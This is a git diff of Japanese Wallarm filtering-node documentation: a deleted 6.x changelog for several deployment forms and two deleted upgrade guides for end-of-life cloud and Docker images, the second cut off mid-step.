-[DEB/RPMパッケージからの移行方法](nginx-modules.md) - -[以前のall-in-oneインストーラーからの移行方法](all-in-one.md) - - - -### 6.4.1 (2025-08-07) - -* PrometheusメトリクスによるAPI Specification Enforcementサービスの動作（組み込みのAPI Firewallサービスに基づく）のサポートを追加しました: - - * `/opt/wallarm/env.list`で`APIFW_METRICS_ENABLED=true`を設定して有効化します - * デフォルトのエンドポイント: `:9010/metrics` - * 変数`APIFW_METRICS_HOST`と`APIFW_METRICS_ENDPOINT_NAME`でホストとエンドポイント名を設定できます - -### 6.4.0 (2025-07-31) - -* stuffed credentialsのCloudへのエクスポートを修正しました -* GraphQLパーサーを改善しました -* バグ修正と内部的な改善を行いました - -### 6.3.1 (2025-07-23) - -* メモリリークを修正しました - -### 6.3.0 (2025-07-08) - -* [ファイルアップロード制限ポリシー](../api-protection/file-upload-restriction.md)をサポートしました -* [API Abuse Prevention](../api-abuse-prevention/overview.md)による[無制限なリソース消費](../attacks-vulns-list.md#unrestricted-resource-consumption)の緩和をサポートしました -* ルールにおいて、URI・名前空間・タグ名を組み合わせた[**xml_tag**](../user-guides/rules/request-processing.md#xml)値の区切り文字を`:`から`|`に変更しました -* 内部的な改善を行いました - - -### 6.2.1 (2025-06-23) - -* 内部のファイル構成を一部変更しました - -### 6.2.0 (2025-06-20) - -* gRPCトラフィックのストリーム処理を最適化しました -* 処理済みのgRPC/WebSocketストリームとメッセージの数を報告するため、[`/wallarm-status`サービス](../admin-en/configure-statistics-service.md)の出力に`streams`と`messages`パラメータを追加しました -* NGINX-Wallarmモジュールとpostanalyticsモジュールを別々にインストールしている場合の両者間での[SSL/TLSおよびmTLS](../admin-en/installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module)をサポートしました -* wstoreのポートバインディングを修正しました: `0.0.0.0`ではなく`127.0.0.1`にバインドされるようにしました -* 軽微なバグを修正しました - -### 6.1.0 (2025-05-09) - -* バグ修正: 許可リストに登録されたソースからの攻撃は、**Attacks**セクションに表示されなくなりました -* 識別を容易にするため、wstoreのログに`"component": "wstore"`が含まれるようになりました - -### 6.0.3 (2025-05-07) - -* Amazon Linux 2をサポートしました -* カスタムNGINXでのインストールの問題を修正しました - -### 6.0.2 (2025-04-29) - -* NGINX stable 1.28.0をサポートしました -* NGINX mainline 1.27.5をサポートしました - -### 6.0.1 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406)、[CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115)の脆弱性を修正しました - -### 6.0.0 (2025-04-03) - -* 6.0の初回リリースです。[変更履歴はこちら](what-is-new.md) - -## Wallarm NGINX Ingress controller用Helmチャート - -[アップグレード方法](ingress-controller.md) - -### 6.4.0 (2025-07-31) - -* stuffed credentialsのCloudへのエクスポートを修正しました -* GraphQLパーサーを改善しました -* バグ修正と内部的な改善を行いました - -### 6.3.1 (2025-07-23) - -* メモリリークを修正しました - -### 6.3.0 (2025-07-08) - -* [ファイルアップロード制限ポリシー](../api-protection/file-upload-restriction.md)をサポートしました -* [API Abuse Prevention](../api-abuse-prevention/overview.md)による[無制限なリソース消費](../attacks-vulns-list.md#unrestricted-resource-consumption)の緩和をサポートしました -* 危険な`server-snippet`および`configuration-snippet`アノテーションをブロックするCELルールを切り替えるための[`validation.forbidDangerousAnnotations`](../admin-en/configure-kubernetes-en.md#validationforbiddangerousannotations)チャート値を追加しました - - デフォルトでは`false`に設定されており、危険なアノテーションはブロックされません。 - - Node 6.2.0の挙動は変更ありません（`validation.enableCel`が`true`のときはデフォルトでアノテーションがブロックされます）。 -* 受信**wstore**接続のアドレスとポートをカスタマイズできるよう、[`controller.wallarm.postanalytics.serviceAddress`](../admin-en/configure-kubernetes-en.md#controllerwallarmpostanalyticsserviceaddress)パラメータをサポートしました -* ルールにおいて、URI・名前空間・タグ名を組み合わせた[**xml_tag**](../user-guides/rules/request-processing.md#xml)値の区切り文字を`:`から`|`に変更しました -* 内部的な改善を行いました - -### 6.2.0 (2025-06-20) - -* gRPCトラフィックのストリーム処理を最適化しました -* 処理済みのgRPC/WebSocketストリームとメッセージの数を報告するため、[`/wallarm-status`サービス](../admin-en/configure-statistics-service.md)の出力に`streams`と`messages`パラメータを追加しました -* フィルタリングノードとpostanalyticsモジュール間の[SSL/TLSおよびmTLS](../admin-en/configure-kubernetes-en.md#controllerwallarmpostanalyticstls)をサポートしました -* `values.yaml`内の統合コンポーネント`controller.wallarm.wcli`を、2つの個別に[設定可能なユニット](../admin-en/configure-kubernetes-en.md)である`wcliController`と`wcliPostanalytics`に分割し、コンテナをきめ細かく制御できるようにしました -* 軽微なバグを修正しました - -### 6.1.0 (2025-05-09) - -* バグ修正: 許可リストに登録されたソースからの攻撃は、**Attacks**セクションに表示されなくなりました -* 識別を容易にするため、wstoreのログに`"component": "wstore"`が含まれるようになりました - -### 6.0.2 (2025-04-25) - -* Validating Admission Policies経由でIngressリソースの検証を有効化するための[`validation.enableCel`](../admin-en/configure-kubernetes-en.md#validationenablecel)パラメータを追加しました - -### 6.0.1 (2025-04-22) - -* [CVE-2025-22871](https://nvd.nist.gov/vuln/detail/CVE-2025-22871)の脆弱性を修正しました - -### 6.0.0 (2025-04-03) - -* 6.0の初回リリースです。[変更履歴はこちら](what-is-new.md) - -## Sidecar用Helmチャート - -[アップグレード方法](sidecar-proxy.md) - -### 6.4.0 (2025-07-31) - -* stuffed credentialsのCloudへのエクスポートを修正しました -* GraphQLパーサーを改善しました -* バグ修正と内部的な改善を行いました - -### 6.3.1 (2025-07-23) - -* メモリリークを修正しました - -### 6.3.0 (2025-07-08) - -* [ファイルアップロード制限ポリシー](../api-protection/file-upload-restriction.md)をサポートしました -* [API Abuse Prevention](../api-abuse-prevention/overview.md)による[無制限なリソース消費](../attacks-vulns-list.md#unrestricted-resource-consumption)の緩和をサポートしました -* 受信**wstore**接続のアドレスとポートをカスタマイズできるよう、[`postanalytics.wstore.config.serviceAddress`](../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md#postanalyticswstoreconfigserviceaddress)パラメータをサポートしました -* ルールにおいて、URI・名前空間・タグ名を組み合わせた[**xml_tag**](../user-guides/rules/request-processing.md#xml)値の区切り文字を`:`から`|`に変更しました -* 内部的な改善を行いました - -### 6.2.0 (2025-06-20) - -* gRPCトラフィックのストリーム処理を最適化しました -* フィルタリングノードとpostanalyticsモジュール間の[SSL/TLSおよびmTLS](../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md#postanalyticswstoretls)をサポートしました -* Alpineのバージョンを3.22に更新しました -* NGINXをバージョン1.28.0にアップグレードしました -* 軽微なバグを修正しました - -### 6.1.0 (2025-05-09) - -* バグ修正: 許可リストに登録されたソースからの攻撃は、**Attacks**セクションに表示されなくなりました -* 識別を容易にするため、wstoreのログに`"component": "wstore"`が含まれるようになりました - -### 6.0.1 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406)、[CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115)の脆弱性を修正しました - -### 6.0.0 (2025-04-03) - -* 6.0の初回リリースです。[変更履歴はこちら](what-is-new.md) - -## NGINXベースのDockerイメージ - -[アップグレード方法](docker-container.md) - -### 6.4.1 (2025-08-07) - -* PrometheusメトリクスによるAPI Specification Enforcementサービスの動作（組み込みのAPI Firewallサービスに基づく）のサポートを追加しました: - - * 環境変数`APIFW_METRICS_ENABLED=true`で有効化します - * デフォルトのエンドポイント: `:9010/metrics` - * コンテナ内でメトリクスポートを公開してください（例: デフォルト状態では`-p 9010:9010`を使用します） - * 変数`APIFW_METRICS_HOST`と`APIFW_METRICS_ENDPOINT_NAME`でホストとエンドポイント名を設定できます - -### 6.4.0 (2025-07-31) - -* stuffed credentialsのCloudへのエクスポートを修正しました -* GraphQLパーサーを改善しました -* バグ修正と内部的な改善を行いました - -### 6.3.1 (2025-07-23) - -* メモリリークを修正しました - -### 6.3.0 (2025-07-08) - -* [ファイルアップロード制限ポリシー](../api-protection/file-upload-restriction.md)をサポートしました -* [API Abuse Prevention](../api-abuse-prevention/overview.md)による[無制限なリソース消費](../attacks-vulns-list.md#unrestricted-resource-consumption)の緩和をサポートしました -* ルールにおいて、URI・名前空間・タグ名を組み合わせた[**xml_tag**](../user-guides/rules/request-processing.md#xml)値の区切り文字を`:`から`|`に変更しました -* 内部的な改善を行いました - -### 6.2.0 (2025-06-20) - -* gRPCトラフィックのストリーム処理を最適化しました -* 処理済みのgRPC/WebSocketストリームとメッセージの数を報告するため、[`/wallarm-status`サービス](../admin-en/configure-statistics-service.md)の出力に`streams`と`messages`パラメータを追加しました -* NGINX-Wallarmモジュールとpostanalyticsモジュールを別々にインストールしている場合の両者間での[SSL/TLSおよびmTLS](../admin-en/installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module)をサポートしました -* wstoreのポートバインディングを修正しました: `0.0.0.0`ではなく`127.0.0.1`にバインドされるようにしました -* Alpineのバージョンを3.22に更新しました -* NGINXをバージョン1.28.0にアップグレードしました -* 軽微なバグを修正しました - -### 6.1.0 (2025-05-09) - -* バグ修正: 許可リストに登録されたソースからの攻撃は、**Attacks**セクションに表示されなくなりました -* 識別を容易にするため、wstoreのログに`"component": "wstore"`が含まれるようになりました - -### 6.0.1 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406)、[CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115)の脆弱性を修正しました - -### 6.0.0 (2025-04-03) - -* 6.0の初回リリースです。[変更履歴はこちら](what-is-new.md) - -## Amazon Machine Image (AMI) - -[アップグレード方法](cloud-image.md) - -### 6.4.0 (2025-07-31) - -* stuffed credentialsのCloudへのエクスポートを修正しました -* GraphQLパーサーを改善しました -* バグ修正と内部的な改善を行いました - -### 6.3.1 (2025-07-23) - -* メモリリークを修正しました - -### 6.3.0 (2025-07-08) - -* [ファイルアップロード制限ポリシー](../api-protection/file-upload-restriction.md)をサポートしました -* [API Abuse Prevention](../api-abuse-prevention/overview.md)による[無制限なリソース消費](../attacks-vulns-list.md#unrestricted-resource-consumption)の緩和をサポートしました -* ルールにおいて、URI・名前空間・タグ名を組み合わせた[**xml_tag**](../user-guides/rules/request-processing.md#xml)値の区切り文字を`:`から`|`に変更しました -* 内部的な改善を行いました - -### 6.2.0 (2025-06-20) - -* gRPCトラフィックのストリーム処理を最適化しました -* 処理済みのgRPC/WebSocketストリームとメッセージの数を報告するため、[`/wallarm-status`サービス](../admin-en/configure-statistics-service.md)の出力に`streams`と`messages`パラメータを追加しました -* NGINX-Wallarmモジュールとpostanalyticsモジュールを別々にインストールしている場合の両者間での[SSL/TLSおよびmTLS](../admin-en/installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module)をサポートしました -* wstoreのポートバインディングを修正しました: `0.0.0.0`ではなく`127.0.0.1`にバインドされるようにしました -* 軽微なバグを修正しました - -### 6.1.0 (2025-05-09) - -* バグ修正: 許可リストに登録されたソースからの攻撃は、**Attacks**セクションに表示されなくなりました -* 識別を容易にするため、wstoreのログに`"component": "wstore"`が含まれるようになりました - -### 6.0.1 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406)、[CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115)の脆弱性を修正しました - -### 6.0.0 (2025-04-03) - -* 6.0の初回リリースです。[変更履歴はこちら](what-is-new.md) - -## Google Cloud Platformイメージ - -[アップグレード方法](cloud-image.md) - -### wallarm-node-6-4-0-20250730-083353 (2025-07-31) - -* stuffed credentialsのCloudへのエクスポートを修正しました -* GraphQLパーサーを改善しました -* バグ修正と内部的な改善を行いました - -### wallarm-node-6-3-1-20250721-082413 (2025-07-23) - -* メモリリークを修正しました - -### wallarm-node-6-3-0-20250708-175541 (2025-07-08) - -* ルールにおいて、URI・名前空間・タグ名を組み合わせた[**xml_tag**](../user-guides/rules/request-processing.md#xml)値の区切り文字を`:`から`|`に変更しました -* 内部的な改善を行いました - -### wallarm-node-6-2-0-20250618-150224 (2025-06-20) - -* gRPCトラフィックのストリーム処理を最適化しました -* 処理済みのgRPC/WebSocketストリームとメッセージの数を報告するため、[`/wallarm-status`サービス](../admin-en/configure-statistics-service.md)の出力に`streams`と`messages`パラメータを追加しました -* NGINX-Wallarmモジュールとpostanalyticsモジュールを別々にインストールしている場合の両者間での[SSL/TLSおよびmTLS](../admin-en/installation-postanalytics-en.md#ssltls-and-mtls-between-the-nginx-wallarm-module-and-the-postanalytics-module)をサポートしました -* wstoreのポートバインディングを修正しました: `0.0.0.0`ではなく`127.0.0.1`にバインドされるようにしました -* 軽微なバグを修正しました - -### wallarm-node-6-1-0-20250508-144827 (2025-05-09) - -* バグ修正: 許可リストに登録されたソースからの攻撃は、**Attacks**セクションに表示されなくなりました -* 識別を容易にするため、wstoreのログに`"component": "wstore"`が含まれるようになりました - -### wallarm-node-6-0-1-20250422-104749 (2025-04-22) - -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406)、[CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115)の脆弱性を修正しました - -### wallarm-node-6-0-0-20250403-102125 (2025-04-03) - -* 6.0の初回リリースです。[変更履歴はこちら](what-is-new.md) \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/older-versions/cloud-image.md b/docs/latest-ja/updating-migrating/older-versions/cloud-image.md deleted file mode 100644 index 10eaec626a..0000000000 --- a/docs/latest-ja/updating-migrating/older-versions/cloud-image.md +++ /dev/null @@ -1,134 +0,0 @@ -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-memory-for-waf-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - -# サポート終了(EOL)クラウドノードイメージのアップグレード - -本書では、AWSまたはGCPにデプロイされたサポート終了のクラウドノードイメージ(バージョン3.6以下)を6.xにアップグレードする手順を説明します。 - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## 要件 - ---8<-- "../include/waf/installation/basic-reqs-for-upgrades.md" - -## 手順1: フィルタリングノードモジュールをアップグレードすることをWallarmテクニカルサポートに連絡します(ノード2.18以下をアップグレードする場合のみ) - -ノード2.18以下をアップグレードする場合は、フィルタリングノードモジュールを最新バージョンにアップグレードする旨を[Wallarmテクニカルサポート](mailto:support@wallarm.com)に連絡し、お使いのWallarmアカウントに対して新しいIPリストロジックの有効化を依頼してください。新しいIPリストロジックが有効化されたら、Wallarm Consoleの[**IP lists**](../../user-guides/ip-lists/overview.md)セクションにアクセスできることを確認してください。 - -## 手順2: Threat Replay Testingモジュールを無効化します(ノード2.16以下をアップグレードする場合のみ) - -Wallarmノード2.16以下をアップグレードする場合は、Wallarm Console → **Vulnerabilities** → **Configure**で[Threat Replay Testing](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing)モジュールを無効化してください。 - -アップグレード中に当該モジュールの動作が誤検知を引き起こす可能性があります。無効化することでこのリスクを最小化できます。 - -## 手順3: APIポートを更新する - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## 手順4: 直近のアーキテクチャ更新を確認する - -最新のアップデートでは、特にノードのデフォルト設定ファイルを変更しているユーザーに影響する可能性のある[アーキテクチャの変更](what-is-new.md#optimized-cloud-images)が導入されています。新しいイメージを正しく構成・利用できるよう、これらの変更点を必ず把握してください。 - -## 手順5: フィルタリングノード6.xの新規インスタンスを起動する - -以前のWallarmノードバージョンの次の設定ファイルから、要求の処理とプロキシの設定をフィルタリングノード6.xのファイルにコピーしてください: - -1. クラウドプラットフォームのマーケットプレイスでWallarmフィルタリングノードのイメージを開き、イメージの起動に進みます: - * [Amazon Marketplace](https://aws.amazon.com/marketplace/pp/B073VRFXSD) - * [GCP Marketplace](https://console.cloud.google.com/marketplace/details/wallarm-node-195710/wallarm-node) -2. 起動時の手順で、以下を設定します: - - * イメージバージョン`6.x`を選択します - * AWSの場合、**Security Group Settings**フィールドで[作成済みのセキュリティグループ](../../installation/cloud-platforms/aws/ami.md#2-create-a-security-group)を選択します - * AWSの場合、**Key Pair Settings**フィールドで[作成済みのキーペア](../../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys-in-aws)の名前を選択します -3. インスタンスの起動を確定します。 -4. GCPの場合、これらの[手順](../../installation/cloud-platforms/gcp/machine-image.md#2-configure-the-filtering-node-instance)に従ってインスタンスを構成します。 - -## 手順6: 最新バージョンでの変更に合わせてWallarmノードのフィルタリングモード設定を調整する(ノード2.18以下をアップグレードする場合のみ) - -1. 以下の設定の想定どおりの動作が、[`off`および`monitoring`フィルタリングモードの変更されたロジック](what-is-new.md#filtration-modes)に合致していることを確認してください: - * [ディレクティブ`wallarm_mode`](../../admin-en/configure-parameters-en.md#wallarm_mode) - * [Wallarm Consoleで構成された全体フィルタリングルール](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) - * [Wallarm Consoleで構成されたエンドポイント対象のフィルタリングルール](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) -2. 想定動作が変更後のフィルタリングモードロジックに合致していない場合は、[手順](../../admin-en/configure-wallarm-mode.md)に従って設定を最新の変更内容に合わせて調整してください。 - -## 手順7: フィルタリングノードをWallarm Cloudに接続する - -1. SSHでフィルタリングノードのインスタンスに接続します。インスタンスへの接続に関する詳細な手順は各クラウドプラットフォームのドキュメントをご参照ください: - * [AWSのドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html) - * [GCPのドキュメント](https://cloud.google.com/compute/docs/instances/connecting-to-instance) -2. クラウドプラットフォーム別の手順に従い、生成したトークンを使用して新しいWallarmノードを作成し、Wallarm Cloudに接続します: - * [AWS](../../installation/cloud-platforms/aws/ami.md#6-connect-the-instance-to-the-wallarm-cloud) - * [GCP](../../installation/cloud-platforms/gcp/machine-image.md#5-connect-the-filtering-node-to-the-wallarm-cloud) - -## 手順8: 以前のバージョンから新バージョンへフィルタリングノードの設定をコピーする - -1. 以前のWallarmノードバージョンの次の設定ファイルから、要求の処理とプロキシの設定をフィルタリングノード6.xのファイルにコピーします: - * `/etc/nginx/nginx.conf`およびその他のNGINX設定ファイル - * フィルタリングノードの監視サービス設定を含む`/etc/nginx/conf.d/wallarm-status.conf` - - コピーしたファイル内容が[推奨される安全な構成](../../admin-en/configure-statistics-service.md#setup)に準拠していることを確認してください。 - - * 環境変数を含む`/etc/environment` - * 最近の[アーキテクチャの変更](what-is-new.md#optimized-cloud-images)を踏まえ、`/etc/nginx/sites-available/default`など、要求の処理やプロキシに関するその他のカスタム設定ファイル -1. 設定ファイルで明示的に指定している場合、以下のNGINXディレクティブをリネームしてください: - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - - ディレクティブは名前のみ変更され、ロジックは同一です。旧名称のディレクティブはまもなく非推奨となるため、事前にリネームすることを推奨します。 -1. [拡張ログ形式](../../admin-en/configure-logging.md#filter-node-variables)を設定している場合、設定内で`wallarm_request_time`変数を明示的に指定していないか確認してください。 - - 指定している場合は、`wallarm_request_cpu_time`にリネームしてください。 - - 変数は名称のみ変更され、ロジックは同一です。旧名称も一時的にサポートされていますが、リネームを推奨します。 -1. ノード2.18以下をアップグレードする場合、以前のWallarmノードバージョンの許可リストと拒否リストの設定を6.xに[移行](../migrate-ip-lists-to-node-3.md)してください。 -1. ブロックされたリクエストに対してページ`&/usr/share/nginx/html/wallarm_blocked.html`を返している場合は、その新しいバージョンを[コピーしてカスタマイズ](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page)してください。 - - 新しいノードバージョンでは、Wallarmのサンプルブロッキングページが[変更されています](what-is-new.md#new-blocking-page)。ページ上のロゴとサポートメールはデフォルトで空になりました。 - -NGINX設定ファイルの取り扱いに関する詳細は、[公式NGINXドキュメント](https://nginx.org/docs/beginners_guide.html)をご参照ください。 - -フィルタリングノードのディレクティブ一覧は[こちら](../../admin-en/configure-parameters-en.md)です。 - -## 手順8: `overlimit_res`攻撃検出の設定をディレクティブからルールへ移行する - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-nginx.md" - -## 手順9: NGINXを再起動する - -設定を適用するため、NGINXを再起動します: - -```bash -sudo systemctl restart nginx -``` - -## 手順10: Wallarmノードの動作をテストする - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 手順11: AWSまたはGCPでフィルタリングノード6.xをベースに仮想マシンイメージを作成する - -フィルタリングノード6.xをベースに仮想マシンイメージを作成するには、[AWS](../../admin-en/installation-guides/amazon-cloud/create-image.md)または[GCP](../../admin-en/installation-guides/google-cloud/create-image.md)の手順に従ってください。 - -## 手順12: 前のWallarmノードインスタンスを削除する - -新バージョンのフィルタリングノードが正常に構成・テストできたら、AWSまたはGCPの管理コンソールを使用して、旧バージョンのフィルタリングノードのインスタンスと仮想マシンイメージを削除してください。 - -## 手順13: Threat Replay Testingモジュールを再度有効化する(ノード2.16以下をアップグレードする場合のみ) - -[Threat Replay Testingモジュールの設定に関する推奨事項](../../vulnerability-detection/threat-replay-testing/setup.md)を確認し、必要に応じて再度有効化してください。 - -しばらく運用した後、当該モジュールの動作が誤検知を引き起こしていないことを確認してください。誤検知が発生する場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)にご連絡ください。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/older-versions/docker-container.md b/docs/latest-ja/updating-migrating/older-versions/docker-container.md deleted file mode 100644 index 1bbb22431b..0000000000 --- a/docs/latest-ja/updating-migrating/older-versions/docker-container.md +++ /dev/null @@ -1,139 +0,0 @@ -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-policy-enf-docs]: ../../api-specification-enforcement/overview.md - -# EOLのDocker NGINXベースイメージのアップグレード - -本ドキュメントでは、稼働中のサポート終了（EOL）のDocker NGINXベースイメージ（バージョン3.6以下）を6.xにアップグレードする手順を説明します。 - ---8<-- "../include/waf/upgrade/warning-deprecated-version-upgrade-instructions.md" - -## 要件 - ---8<-- "../include/waf/installation/requirements-docker-nginx-latest.md" - -## 手順1: フィルタリングノードモジュールをアップグレードすることをWallarmテクニカルサポートに連絡します（ノード2.18以下をアップグレードする場合のみ） - -ノード2.18以下をアップグレードする場合は、フィルタリングノードモジュールを6.xにアップグレードする旨を[Wallarmテクニカルサポート](mailto:support@wallarm.com)に連絡し、Wallarmアカウントに対して新しいIPリストロジックの有効化を依頼してください。新しいIPリストロジックが有効になったら、Wallarm Consoleの[**IP lists**](../../user-guides/ip-lists/overview.md)セクションが利用可能であることを確認してください。 - -## 手順2: Threat Replay Testingモジュールを無効化します（ノード2.16以下をアップグレードする場合のみ） - -Wallarmノード2.16以下をアップグレードする場合は、Wallarm Console→**Vulnerabilities**→**Configure**で[Threat Replay Testing](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing)モジュールを無効化してください。 - -アップグレードの過程でこのモジュールの動作により[誤検知](../../about-wallarm/protecting-against-attacks.md#false-positives)が発生する可能性があります。モジュールを無効化すると、このリスクを最小化できます。 - -## 手順3: APIポートを更新します - ---8<-- "../include/waf/upgrade/api-port-443.md" - -## 手順4: 更新済みのフィルタリングノードイメージをダウンロードします - -``` bash -docker pull wallarm/node:6.4.1 -``` - -## 手順5: Wallarm Cloudへのトークンベース接続に切り替えます - -Wallarm Cloudにコンテナを接続する方法は次のように更新されました。 - -* [「email and password」ベースの方法は非推奨になりました](what-is-new.md#unified-registration-of-nodes-in-the-wallarm-cloud-by-api-tokens)。この方法では、`DEPLOY_USER`および`DEPLOY_PASSWORD`変数に正しい認証情報を指定してコンテナを起動すると、ノードは自動的にWallarm Cloudに登録されていました。 -* トークンベースの方法が追加されました。コンテナをCloudに接続するには、Wallarm ConsoleのUIからコピーしたWallarm APIトークンを含む`WALLARM_API_TOKEN`変数を指定してコンテナを実行します。 - -6.xのイメージの実行には新しい方法を使用することを推奨します。「email and password」ベースの方法は将来のリリースで削除されますので、事前に移行してください。 - -新しいWallarmノードを作成してトークンを取得するには次のとおりです。 - -1. Wallarm Console→**Settings**→**API Tokens**を開き、使用タイプに**Node deployment/Deployment**を選択してトークンを生成します。 -1. 生成したトークンをコピーします。 - -## 手順6: 以前のWallarmノードバージョンから6.xへallowlist/denylistを移行します（ノード2.18以下をアップグレードする場合のみ） - -ノード2.18以下をアップグレードする場合は、以前のWallarmノードバージョンのallowlist/denylist設定を6.xへ[移行](../migrate-ip-lists-to-node-3.md)してください。 - -## 手順7: 非推奨の設定オプションから切り替えます - -以下の設定オプションは非推奨です。 - -* `WALLARM_ACL_ENABLE`環境変数は非推奨になりました。 - - IPリストを新しいノードバージョンに[移行](../migrate-ip-lists-to-node-3.md)した場合は、この変数を`docker run`コマンドから削除してください。 -* `TARANTOOL_MEMORY_GB`環境変数でpostanalyticsのメモリ量を設定している場合は、変数名を`SLAB_ALLOC_ARENA`に変更してください。 -* 以下のNGINXディレクティブは名称が変更されました。 - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - - 変更はディレクティブ名のみであり、動作は同じです。旧名称のディレクティブは間もなく非推奨になりますので、事前に名称を変更することを推奨します。 - - マウントしている設定ファイル内で旧名称のディレクティブを明示的に指定していないか確認してください。指定している場合は名称を変更してください。 -* `wallarm_request_time`[ログ変数](../../admin-en/configure-logging.md#filter-node-variables)は`wallarm_request_cpu_time`に名称変更されました。 - - 変更は変数名のみであり、動作は同じです。旧名称も当面はサポートされますが、変数の名称は変更することを推奨します。 - -## 手順8: Wallarmのブロッキングページを更新します（NGINXベースイメージをアップグレードする場合） - -新しいノードバージョンでは、Wallarmのサンプルブロッキングページが[変更されました](what-is-new.md#new-blocking-page)。ページ上のロゴとサポート用メールアドレスはデフォルトで空になっています。 - -Dockerコンテナがブロック対象のリクエストに対して`&/usr/share/nginx/html/wallarm_blocked.html`ページを返すように設定されている場合は、次のように設定を変更してください。 - -1. サンプルページの新しいバージョンを[コピーしてカスタマイズ](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page)します。 -1. 次の手順で、新しいDockerコンテナにカスタマイズしたページとNGINXの設定ファイルを[マウント](../../admin-en/configuration-guides/configure-block-page-and-code.md#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code)します。 - -## 手順9: 直近のアーキテクチャ変更を確認します（NGINXベースのDockerイメージ向け） - -最新のアップデートでは、[イメージの最適化](what-is-new.md#optimized-and-more-secure-nginx-based-docker-image)や[Postanalytics向けのTarantoolのwstoreへの置き換え](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)に伴うアーキテクチャの変更が導入されています。特定のファイルのパスが変更されたため、特にコンテナ起動時にカスタム設定ファイルをマウントしているユーザーに影響する可能性があります。新しいイメージを正しく設定・利用できるよう、これらの変更点を把握してください。 - -## 手順10: `overlimit_res`攻撃検出の設定をディレクティブからルールへ移行します - ---8<-- "../include/waf/upgrade/migrate-to-overlimit-rule-docker.md" - -## 手順11: 稼働中のコンテナを停止します - -```bash -docker stop -``` - -## 手順12: 